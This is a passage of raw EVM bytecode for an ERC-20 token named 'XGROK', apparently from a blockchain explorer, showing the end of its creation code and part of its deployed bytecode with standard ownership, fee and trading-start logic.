ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612bd9565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2c57600080fd5b505afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190612cb5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe9190612cb5565b6040518363ffffffff1660e01b8152600401610f1b929190612ce2565b60206040518083038186803b158015610f3357600080fd5b505afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190612cb5565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561112c578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190612cb5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190612cb5565b6040518363ffffffff1660e01b81526004016110d7929190612ce2565b602060405180830381600087803b1580156110f157600080fd5b505af1158015611105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111299190612cb5565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611295611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612bd9565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61136e611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f290612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612d7d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790612ea1565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ee919061293e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390612fc5565b60405180910390fd5b6000821161181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690613057565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c35750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bf57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119695750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119be57601060179054906101000a900460ff166119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906130c3565b60405180910390fd5b5b5b601060149054906101000a900460ff16156119e6576119df848484611e2e565b9050611d65565b60006119f1306107cb565b9050601060149054906101000a900460ff16158015611a5a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a725750601060159054906101000a900460ff165b15611add57601060169054906101000a900460ff1615611a9257600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611adc81612001565b5b611b66836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c4c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c6057611c5b86868661207f565b611c62565b835b9050611cb681600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d56919061293e565b60405180910390a36001925050505b9392505050565b6000838311158290611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab91906127f9565b60405180910390fd5b5060008385611dc391906130e3565b9050809150509392505050565b6000808284611ddf9190613117565b905083811015611e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1b906131b9565b60405180910390fd5b8091505092915050565b6000611eb9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fee919061293e565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550612025816122a7565b600047905060008111156120605761205f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826125a3565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121075761210060646120f2600954866125ee90919063ffffffff16565b61266990919063ffffffff16565b9050612185565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612184576121816064612173600a54866125ee90919063ffffffff16565b61266990919063ffffffff16565b90505b5b600081111561228a576121e081600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612281919061293e565b60405180910390a35b61229d81846126b390919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff8111156122c4576122c36131d9565b5b6040519080825280602002602001820160405280156122f25781602001602082028036833780820191505090505b509050308160008151811061230a57612309612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061237b5761237a612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561241d57600080fd5b505afa158015612431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124559190612cb5565b8160028151811061246957612468612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124d030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611530565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161253495949392919061330b565b600060405180830381600087803b15801561254e57600080fd5b505af1158015612562573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612597929190613365565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125e9573d6000803e3d6000fd5b505050565b6000808314156126015760009050612663565b6000828461260f9190613395565b905082848261261e919061341e565b1461265e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612655906134c1565b60405180910390fd5b809150505b92915050565b60006126ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fd565b905092915050565b60006126f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d6c565b905092915050565b60008083118290612744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273b91906127f9565b60405180910390fd5b5060008385612753919061341e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561279a57808201518184015260208101905061277f565b838111156127a9576000848401525b50505050565b6000601f19601f8301169050919050565b60006127cb82612760565b6127d5818561276b565b93506127e581856020860161277c565b6127ee816127af565b840191505092915050565b6000602082019050818103600083015261281381846127c0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061285082612825565b9050919050565b61286081612845565b811461286b57600080fd5b50565b60008135905061287d81612857565b92915050565b6000819050919050565b61289681612883565b81146128a157600080fd5b50565b6000813590506128b38161288d565b92915050565b600080604083850312156128d0576128cf61281b565b5b60006128de8582860161286e565b92505060206128ef858286016128a4565b9150509250929050565b60008115159050919050565b61290e816128f9565b82525050565b60006020820190506129296000830184612905565b92915050565b61293881612883565b82525050565b6000602082019050612953600083018461292f565b92915050565b6000806000606084860312156129725761297161281b565b5b60006129808682870161286e565b93505060206129918682870161286e565b92505060406129a2868287016128a4565b9150509250925092565b600060ff82169050919050565b6129c2816129ac565b82525050565b60006020820190506129dd60008301846129b9565b92915050565b6000602082840312156129f9576129f861281b565b5b6000612a078482850161286e565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612a3557612a34612a10565b5b8235905067ffffffffffffffff811115612a5257612a51612a15565b5b602083019150836020820283011115612a6e57612a6d612a1a565b5b9250929050565b60008060208385031215612a8c57612a8b61281b565b5b600083013567ffffffffffffffff811115612aaa57612aa9612820565b5b612ab685828601612a1f565b92509250509250929050565b612acb81612845565b82525050565b6000602082019050612ae66000830184612ac2565b92915050565b60008060408385031215612b0357612b0261281b565b5b6000612b118582860161286e565b9250506020612b228582860161286e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b7357607f821691505b60208210811415612b8757612b86612b2c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bc360208361276b565b9150612bce82612b8d565b602082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c6282612883565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c9557612c94612c28565b5b600182019050919050565b600081519050612caf81612857565b92915050565b600060208284031215612ccb57612cca61281b565b5b6000612cd984828501612ca0565b91505092915050565b6000604082019050612cf76000830185612ac2565b612d046020830184612ac2565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d6760268361276b565b9150612d7282612d0b565b604082019050919050565b60006020820190508181036000830152612d9681612d5a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612df960248361276b565b9150612e0482612d9d565b604082019050919050565b60006020820190508181036000830152612e2881612dec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e8b60228361276b565b9150612e9682612e2f565b604082019050919050565b60006020820190508181036000830152612eba81612e7e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f1d60258361276b565b9150612f2882612ec1565b604082019050919050565b60006020820190508181036000830152612f4c81612f10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612faf60238361276b565b9150612fba82612f53565b604082019050919050565b60006020820190508181036000830152612fde81612fa2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061304160298361276b565b915061304c82612fe5565b604082019050919050565b6000602082019050818103600083015261307081613034565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b60006130ad60098361276b565b91506130b882613077565b602082019050919050565b600060208201905081810360008301526130dc816130a0565b9050919050565b60006130ee82612883565b91506130f983612883565b92508282101561310c5761310b612c28565b5b828203905092915050565b600061312282612883565b915061312d83612883565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316257613161612c28565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131a3601b8361276b565b91506131ae8261316d565b602082019050919050565b600060208201905081810360008301526131d281613196565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b600061323761323261322d84613208565b613212565b612883565b9050919050565b6132478161321c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61328281612845565b82525050565b60006132948383613279565b60208301905092915050565b6000602082019050919050565b60006132b88261324d565b6132c28185613258565b93506132cd83613269565b8060005b838110156132fe5781516132e58882613288565b97506132f0836132a0565b9250506001810190506132d1565b5085935050505092915050565b600060a082019050613320600083018861292f565b61332d602083018761323e565b818103604083015261333f81866132ad565b905061334e6060830185612ac2565b61335b608083018461292f565b9695505050505050565b600060408201905061337a600083018561292f565b818103602083015261338c81846132ad565b90509392505050565b60006133a082612883565b91506133ab83612883565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133e4576133e3612c28565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061342982612883565b915061343483612883565b925082613444576134436133ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ab60218361276b565b91506134b68261344f565b604082019050919050565b600060208201905081810360008301526134da8161349e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122032f1e7b484d02b821597fd2bcb7548f9aacb30c8fd7551a3404f4e58ea70e1a764736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000002920908000000000000000000000000000000000000000000000000000000000000000055847524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055847524f4b000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b60405161016791906127f9565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906128b9565b6105d7565b6040516101a49190612914565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf919061293e565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612959565b6105ff565b60405161020c9190612914565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b60405161023791906129c8565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906128b9565b6106f0565b6040516102749190612914565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f91906129e3565b6107a3565b6040516102b19190612914565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc919061293e565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906129e3565b6107cb565b604051610319919061293e565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a75565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612ad1565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c691906127f9565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f1919061293e565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906128b9565b610c18565b60405161042e9190612914565b60405180910390f35b34801561044357600080fd5b5061045e600480360381019061045991906128b9565b610ce5565b60405161046b9190612914565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612ad1565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612aec565b611206565b6040516104ea919061293e565b60405180910390f35b3480156104ff57600080fd5b5061051a600480360381019061051591906129e3565b61128d565b005b34801561052857600080fd5b50610543600480360381019061053e91906129e3565b611366565b005b60606001805461055490612b5b565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612b5b565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e4611528565b8484611530565b6001905092915050565b6000600b54905090565b600061060c8484846116fb565b506106ce84610619611528565b6106c9856040518060600160405280602881526020016134e260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd611528565b84610794856006600061070e611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b611530565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612bd9565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612bf9565b5b90506020020160208101906108e591906129e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612c57565b9150506108ac565b505050565b610956611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612bd9565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a31611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612b5b565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c25611528565b84610cd68560405180606001604052806025815260200161350a6025913960066000610c4f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b6001905092915050565b6000610cf9610cf2611528565b84846116fb565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d30611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612bd9565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2c57600080fd5b505afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190612cb5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe9190612cb5565b6040518363ffffffff1660e01b8152600401610f1b929190612ce2565b60206040518083038186803b158015610f3357600080fd5b505afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190612cb5565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561112c578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190612cb5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190612cb5565b6040518363ffffffff1660e01b81526004016110d7929190612ce2565b602060405180830381600087803b1580156110f157600080fd5b505af1158015611105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111299190612cb5565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611295611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612bd9565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61136e611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f290612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612d7d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790612ea1565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ee919061293e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390612fc5565b60405180910390fd5b6000821161181f576040517f08c379a00000000000000000000000000000000000000000000000